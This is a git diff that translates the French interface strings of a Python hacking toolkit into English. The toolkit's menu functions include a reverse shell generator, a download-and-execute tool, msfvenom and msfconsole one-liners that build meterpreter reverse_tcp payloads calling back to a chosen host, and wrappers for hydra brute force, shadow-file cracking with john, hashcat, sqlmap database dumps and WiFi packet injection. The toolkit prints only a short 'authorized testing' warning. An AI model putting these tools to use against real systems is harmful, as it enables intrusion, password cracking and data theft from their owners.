print(f"\n{C.WHITE}[+] Décodé: {C.WHITE}{decoded}{C.RESET}") + print(f"\n{C.WHITE}[+] Decoded: {C.WHITE}{decoded}{C.RESET}") except Exception: print(f"{C.GRAY}[!] Décodage impossible{C.RESET}") @@ -902,12 +921,12 @@ def tool_urld(): TOOL_FUNCTIONS["urld"] = tool_urld # ═══════════════════════════════════════════ -# SYSTÈME +# SYSTEM # ═══════════════════════════════════════════ def tool_sysinfo(): clear() - print(f"{C.WHITE}[*] Informations système{C.RESET}\n") + print(f"{C.WHITE}[*] System information{C.RESET}\n") try: uname = subprocess.check_output(["uname", "-a"], text=True) @@ -917,7 +936,7 @@ def tool_sysinfo(): try: hostname = socket.gethostname() - print(f"{C.WHITE}[+] Hôte: {C.WHITE}{hostname}{C.RESET}") + print(f"{C.WHITE}[+] Host: {C.WHITE}{hostname}{C.RESET}") except: pass @@ -929,7 +948,7 @@ def tool_sysinfo(): try: mem = subprocess.check_output(["free", "-h"], text=True) - print(f"{C.WHITE}[i] Mémoire:{C.RESET}\n{C.WHITE}{mem}{C.RESET}") + print(f"{C.WHITE}[i] Memory:{C.RESET}\n{C.WHITE}{mem}{C.RESET}") except: pass @@ -947,10 +966,10 @@ def tool_lsdir(): clear() print(f"{C.WHITE}[*] Liste fichiers{C.RESET}\n") - path = get_input("Répertoire (défaut: .)") or "." + path = get_input("Directory (default: .)") or "." if not os.path.exists(path): - print(f"{C.GRAY}[!] Répertoire introuvable{C.RESET}") + print(f"{C.GRAY}[!] Directory not found{C.RESET}") pause() return @@ -966,32 +985,32 @@ def tool_lsdir(): size = os.path.getsize(full) print(f" {C.GRAY}{item} ({size} octets)") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() TOOL_FUNCTIONS["lsdir"] = tool_lsdir # ═══════════════════════════════════════════ -# EXPLOITATION +# EXPLOIT # ═══════════════════════════════════════════ def tool_revshell(): clear() print(f"{C.GRAY}[*] Reverse Shell Generator{C.RESET}\n") - print(f"{C.GRAY}Attention: Utiliser uniquement pour des tests autorisés{C.RESET}\n") + print(f"{C.GRAY}Warning: Use only for authorized testing{C.RESET}\n") ip = get_input("Ton IP (LHOST)") if not ip: - print(f"{C.GRAY}[!] IP invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid IP{C.RESET}") pause() return try: port = int(get_input("Port (LPORT)")) except ValueError: - print(f"{C.GRAY}[!] Port invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid port{C.RESET}") pause() return @@ -1018,9 +1037,9 @@ def tool_encpayload(): clear() print(f"{C.GRAY}[*] Encoder Payload{C.RESET}\n") - payload = get_input("Payload à encoder") + payload = get_input("Payload to encode") if not payload: - print(f"{C.GRAY}[!] Payload invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid payload{C.RESET}") pause() return @@ -1039,7 +1058,7 @@ def tool_encpayload(): print(f"\n{C.WHITE}[+] Decoder (Python):{C.RESET}") print(f" {C.GRAY}python3 -c \"import base64;print(base64.b64decode('{encoded}').decode())\"{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -1049,15 +1068,15 @@ def tool_decpayload(): clear() print(f"{C.GRAY}[*] Décoder Payload{C.RESET}\n") - encoded = get_input("Texte encodé en Base64") + encoded = get_input("Base64 encoded text") if not encoded: - print(f"{C.GRAY}[!] Texte invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid text{C.RESET}") pause() return try: decoded = base64.b64decode(encoded.encode()).decode() - print(f"\n{C.WHITE}[+] Décodé:{C.RESET}") + print(f"\n{C.WHITE}[+] Decoded:{C.RESET}") print(f" {C.WHITE}{decoded}{C.RESET}") except Exception as e: print(f"{C.GRAY}[!] Décodage impossible: {e}{C.RESET}") @@ -1068,26 +1087,26 @@ def tool_decpayload(): def tool_httpserver(): clear() - print(f"{C.GRAY}[*] Serveur HTTP{C.RESET}\n") + print(f"{C.GRAY}[*] HTTP Server{C.RESET}\n") - port = get_input("Port (défaut: 8000)") or "8000" - directory = get_input("Répertoire (défaut: .)") or "." + port = get_input("Port (default: 8000)") or "8000" + directory = get_input("Directory (default: .)") or "." if not os.path.exists(directory): - print(f"{C.GRAY}[!] Répertoire introuvable{C.RESET}") + print(f"{C.GRAY}[!] Directory not found{C.RESET}") pause() return - print(f"\n{C.WHITE}[*] Serveur démarré sur http://0.0.0.0:{port}{C.RESET}") - print(f"{C.GRAY}[*] Ctrl+C pour arrêter{C.RESET}\n") + print(f"\n{C.WHITE}[*] Server started on http://0.0.0.0:{port}{C.RESET}") + print(f"{C.GRAY}[*] Ctrl+C to stop{C.RESET}\n") try: os.chdir(directory) subprocess.run(["python3", "-m", "http.server", port]) except KeyboardInterrupt: - print(f"\n{C.WHITE}[!] Serveur arrêté{C.RESET}") + print(f"\n{C.WHITE}[!] Server stopped{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -1097,11 +1116,11 @@ def tool_dllexec(): clear() print(f"{C.GRAY}[*] Download & Execute{C.RESET}\n") - print(f"{C.GRAY}Attention: Utiliser uniquement pour des tests autorisés{C.RESET}\n") + print(f"{C.GRAY}Warning: Use only for authorized testing{C.RESET}\n") url = get_input("URL du fichier") if not url: - print(f"{C.GRAY}[!] URL invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid URL{C.RESET}") pause() return @@ -1127,18 +1146,18 @@ def tool_msfgen(): clear() print(f"{C.GRAY}[*] Metasploit One-Liner Generator{C.RESET}\n") - print(f"{C.GRAY}Attention: Utiliser uniquement pour des tests autorisés{C.RESET}\n") + print(f"{C.GRAY}Warning: Use only for authorized testing{C.RESET}\n") ip = get_input("LHOST (ton IP)") if not ip: - print(f"{C.GRAY}[!] IP invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid IP{C.RESET}") pause() return try: - port = int(get_input("LPORT (défaut: 4444)") or "4444") + port = int(get_input("LPORT (default: 4444)") or "4444") except ValueError: - print(f"{C.GRAY}[!] Port invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid port{C.RESET}") pause() return @@ -1146,17 +1165,17 @@ def tool_msfgen(): print(f"{C.WHITE}[Linux x64]{C.RESET}") msf1 = f"msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf -o shell.elf" - print(f" {C.GRAY}Génération: {msf1}{C.RESET}") + print(f" {C.GRAY} Generated: {msf1}{C.RESET}") print(f" {C.WHITE}msfconsole -q -x 'use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST {ip}; set LPORT {port}; run'{C.RESET}") print(f"\n{C.WHITE}[Windows x64]{C.RESET}") msf2 = f"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe -o shell.exe" - print(f" {C.GRAY}Génération: {msf2}{C.RESET}") + print(f" {C.GRAY} Generated: {msf2}{C.RESET}") print(f" {C.WHITE}msfconsole -q -x 'use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST {ip}; set LPORT {port}; run'{C.RESET}") print(f"\n{C.WHITE}[Python]{C.RESET}") msf3 = f"msfvenom -p python/meterpreter/reverse_tcp LHOST={ip} LPORT={port}" - print(f" {C.GRAY}Génération: {msf3}{C.RESET}") + print(f" {C.GRAY} Generated: {msf3}{C.RESET}") pause() @@ -1171,7 +1190,7 @@ def check_install(command): return result.returncode == 0 def install_tool(command, apt_name): - print(f"{C.GRAY}[*] Installation de {command}...{C.RESET}\n") + print(f"{C.GRAY}[*] Installing {command}...{C.RESET}\n") try: if os.path.exists("/etc/debian_version"): subprocess.run(["sudo", "apt", "update"], check=True) @@ -1191,13 +1210,13 @@ def tool_nmap(): print(f"{C.GRAY}[*] Nmap{C.RESET}\n") if not check_install("nmap"): - print(f"{C.GRAY}[!] Nmap non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] Nmap not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("nmap", "nmap"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: @@ -1209,14 +1228,14 @@ def tool_nmap(): pause() return - print(f"\n{C.GRAY}[*] Scan en cours...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Scanning...{C.RESET}\n") - print(f"{C.GRAY}Types de scan:{C.RESET}") - print(f"{C.WHITE}[1]{C.RESET} Scan rapide (-F)") - print(f"{C.WHITE}[2]{C.RESET} Scan complet (-A)") - print(f"{C.WHITE}[3]{C.RESET} Scan SYN (-sS)") - print(f"{C.WHITE}[4]{C.RESET} Scan UDP (-sU)") - print(f"{C.WHITE}[5]{C.RESET} Personnalisé\n") + print(f"{C.GRAY}Scan types:{C.RESET}") + print(f"{C.WHITE}[1]{C.RESET} Fast scan (-F)") + print(f"{C.WHITE}[2]{C.RESET} Full scan (-A)") + print(f"{C.WHITE}[3]{C.RESET} SYN scan (-sS)") + print(f"{C.WHITE}[4]{C.RESET} UDP scan (-sU)") + print(f"{C.WHITE}[5]{C.RESET} Custom\n") scan_type = input(f"{C.GRAY}>>> {C.RESET}").strip() @@ -1225,7 +1244,7 @@ def tool_nmap(): "2": ["nmap", "-A", target], "3": ["nmap", "-sS", target], "4": ["nmap", "-sU", target], - "5": ["nmap", get_input("Arguments nmap") or "-sV", target], + "5": ["nmap", get_input("Nmap arguments") or "-sV", target], } cmd = scans.get(scan_type, ["nmap", "-F", target]) @@ -1234,7 +1253,7 @@ def tool_nmap(): result = subprocess.run(cmd, text=True) print(f"{C.WHITE}{result.stdout if result.stdout else result.stderr}{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -1245,34 +1264,34 @@ def tool_masscan(): print(f"{C.GRAY}[*] Masscan{C.RESET}\n") if not check_install("masscan"): - print(f"{C.GRAY}[!] Masscan non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] Masscan not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("masscan", "masscan"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: pause() return - target = get_input("IP/plage (ex: 192.168.1.0/24)") + target = get_input("IP/range (ex: 192.168.1.0/24)") if not target: pause() return - ports = get_input("Ports (ex: 1-1000,80,443 ou 'all')") or "1-1000" + ports = get_input("Ports (ex: 1-1000,80,443 or 'all')") or "1-1000" - print(f"\n{C.GRAY}[*] Scan massif en cours...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Mass scan in progress...{C.RESET}\n") try: subprocess.run(["masscan", "-p", ports, target, "--rate", "1000"], timeout=120) except KeyboardInterrupt: - print(f"\n{C.WHITE}[!] Scan arrêté{C.RESET}") + print(f"\n{C.WHITE}[!] Scan stopped{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -1283,13 +1302,13 @@ def tool_aircrack(): print(f"{C.GRAY}[*] Aircrack-ng{C.RESET}\n") if not check_install("aircrack-ng"): - print(f"{C.GRAY}[!] Aircrack-ng non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] Aircrack-ng not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("aircrack-ng", "aircrack-ng"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: @@ -1297,31 +1316,31 @@ def tool_aircrack(): return print(f"{C.GRAY}Modules:{C.RESET}\n") - print(f"{C.WHITE}[1]{C.RESET} airmon-ng (Gestion interfaces WiFi)") - print(f"{C.WHITE}[2]{C.RESET} airodump-ng (Capturer paquets)") - print(f"{C.WHITE}[3]{C.RESET} aireplay-ng (Injecter paquets)") - print(f"{C.WHITE}[4]{C.RESET} aircrack-ng (Cracker WPA/WEP)\n") + print(f"{C.WHITE}[1]{C.RESET} airmon-ng (WiFi interface management)") + print(f"{C.WHITE}[2]{C.RESET} airodump-ng (Capture packets)") + print(f"{C.WHITE}[3]{C.RESET} aireplay-ng (Inject packets)") + print(f"{C.WHITE}[4]{C.RESET} aircrack-ng (Crack WPA/WEP)\n") choice = input(f"{C.WHITE}└─>{C.RESET} ").strip() if choice == "1": print(f"\n{C.GRAY}[*] Activation du mode monitor:{C.RESET}") - iface = get_input("Interface WiFi (ex: wlan0)") + iface = get_input("WiFi interface (ex: wlan0)") if iface: subprocess.run(["sudo", "airmon-ng", "start", iface]) subprocess.run(["sudo", "airmon-ng"]) elif choice == "2": - print(f"\n{C.GRAY}[*] Capture de paquets:{C.RESET}") + print(f"\n{C.GRAY}[*] Packet capture:{C.RESET}") iface = get_input("Interface (ex: wlan0mon)") or "wlan0mon" subprocess.run(["sudo", "airodump-ng", iface]) elif choice == "3": - print(f"\n{C.GRAY}[*] Injection de paquets:{C.RESET}") + print(f"\n{C.GRAY}[*] Packet injection:{C.RESET}") print(f"{C.GRAY} aireplay-ng -9 -e ESSID -a MAC_AP wlan0mon{C.RESET}") subprocess.run(["sudo", "aireplay-ng", "--help"]) elif choice == "4": print(f"\n{C.GRAY}[*] Crackage WPA/WEP:{C.RESET}") - capfile = get_input("Fichier de capture (.cap)") - wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" + capfile = get_input("Capture file (.cap)") + wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" if capfile: subprocess.run(["sudo", "aircrack-ng", "-w", wordlist, capfile]) @@ -1334,13 +1353,13 @@ def tool_nikto(): print(f"{C.GRAY}[*] Nikto{C.RESET}\n") if not check_install("nikto"): - print(f"{C.GRAY}[!] Nikto non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] Nikto not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("nikto", "nikto"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: @@ -1352,13 +1371,13 @@ def tool_nikto(): pause() return - print(f"\n{C.GRAY}[*] Scan vulnérabilités web...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Web vulnerability scan...{C.RESET}\n") try: subprocess.run(["nikto", "-h", target, "-o", "nikto_scan.txt"]) - print(f"{C.WHITE}[+] Résultat sauvegardé dans nikto_scan.txt{C.RESET}") + print(f"{C.WHITE}[+] Result saved in nikto_scan.txt{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -1369,13 +1388,13 @@ def tool_hydra(): print(f"{C.GRAY}[*] Hydra{C.RESET}\n") if not check_install("hydra"): - print(f"{C.GRAY}[!] Hydra non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] Hydra not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("hydra", "hydra"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: @@ -1388,10 +1407,10 @@ def tool_hydra(): return service = get_input("Service (ssh, ftp, http, rdp, mysql...)") - user = get_input("Utilisateur (ou -P pour wordlist)") - wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" + user = get_input("User (or -P for wordlist)") + wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" - print(f"\n{C.GRAY}[*] Attaque brute force en cours...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Brute force attack in progress...{C.RESET}\n") if user == "-P": cmd = ["hydra", "-l", "admin", "-P", wordlist, target, service] @@ -1401,7 +1420,7 @@ def tool_hydra(): try: subprocess.run(cmd) except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -1412,13 +1431,13 @@ def tool_john(): print(f"{C.GRAY}[*] John the Ripper{C.RESET}\n") if not check_install("john"): - print(f"{C.GRAY}[!] John non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] John not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("john", "john"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: @@ -1434,7 +1453,7 @@ def tool_john(): if choice == "1": hash_val = get_input("Hash à cracker") - wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" + wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" if hash_val: subprocess.run(["john", "--wordlist=" + wordlist, "--format=raw-md5"], input=hash_val, text=True) @@ -1443,7 +1462,7 @@ def tool_john(): if shadow and os.path.exists(shadow): subprocess.run(["sudo", "john", shadow]) else: - print(f"{C.GRAY}[!] Fichier non accessible{C.RESET}") + print(f"{C.GRAY}[!] File not accessible{C.RESET}") elif choice == "3": hash_file = get_input("Fichier de hash") if hash_file: @@ -1458,13 +1477,13 @@ def tool_hashcat(): print(f"{C.GRAY}[*] Hashcat{C.RESET}\n") if not check_install("hashcat"): - print(f"{C.GRAY}[!] Hashcat non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] Hashcat not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("hashcat", "hashcat"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: @@ -1477,21 +1496,21 @@ def tool_hashcat(): print(f"{C.WHITE}1800{C.RESET} sha512crypt") print(f"{C.WHITE}22000{C.RESET} WPA-PBKDF2\n") - hash_mode = get_input("Mode hash (défaut: 0 pour MD5)") - hash_file = get_input("Fichier de hash") - wordlist = get_input("Wordlist (défaut: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" + hash_mode = get_input("Hash mode (default: 0 for MD5)") + hash_file = get_input("Hash file") + wordlist = get_input("Wordlist (default: rockyou.txt)") or "/usr/share/wordlists/rockyou.txt" if not hash_file: pause() return - print(f"\n{C.GRAY}[*] Crack en cours (GPU)...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Cracking in progress (GPU)...{C.RESET}\n") try: mode = hash_mode or "0" subprocess.run(["hashcat", "-m", mode, "-a", "0", hash_file, wordlist, "--force"]) except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -1502,29 +1521,29 @@ def tool_sqlmap(): print(f"{C.GRAY}[*] SQLMap{C.RESET}\n") if not check_install("sqlmap"): - print(f"{C.GRAY}[!] SQLMap non installé{C.RESET}\n") - install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + print(f"{C.GRAY}[!] SQLMap not installed{C.RESET}\n") + install = input(f"{C.WHITE}[?] Install? (y/n): {C.RESET}").strip().lower() + if install == "y": if install_tool("sqlmap", "sqlmap"): - print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n") + print(f"{C.WHITE}[+] Installation complete{C.RESET}\n") else: - print(f"{C.GRAY}[!] Installation échouée{C.RESET}") + print(f"{C.GRAY}[!] Installation failed{C.RESET}") pause() return else: pause() return - target = get_input("URL cible (ex: http://site.com/page?id=1)") + target = get_input("Target URL (ex: http://site.com/page?id=1)") if not target: pause() return print(f"\n{C.GRAY}Actions:{C.RESET}") - print(f"{C.WHITE}[1]{C.RESET} Détection basique") - print(f"{C.WHITE}[2]{C.RESET} Extraire bases de données") - print(f"{C.WHITE}[3]{C.RESET} Extraire tables") - print(f"{C.WHITE}[4]{C.RESET} Dump complet") + print(f"{C.WHITE}[1]{C.RESET} Basic detection") + print(f"{C.WHITE}[2]{C.RESET} Extract databases") + print(f"{C.WHITE}[3]{C.RESET} Extract tables") + print(f"{C.WHITE}[4]{C.RESET} Full dump") choice = input(f"\n{C.GRAY}>>> {C.RESET}").strip() @@ -1533,21 +1552,21 @@ def tool_sqlmap(): if choice == "2": cmd.extend(["--dbs"]) elif choice == "3": - db = get_input("Nom de la base") + db = get_input("Database name") cmd.extend(["-D", db, "--tables"]) elif choice == "4": - db = get_input("Base de données") + db = get_input("Database") table = get_input("Table") cmd.extend(["-D", db, "-T", table, "--dump"]) else: pass - print(f"\n{C.GRAY}[*] Analyse en cours...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Analysis in progress...{C.RESET}\n") try: subprocess.run(cmd) except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..aee0e39 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +python-magic \ No newline at end of file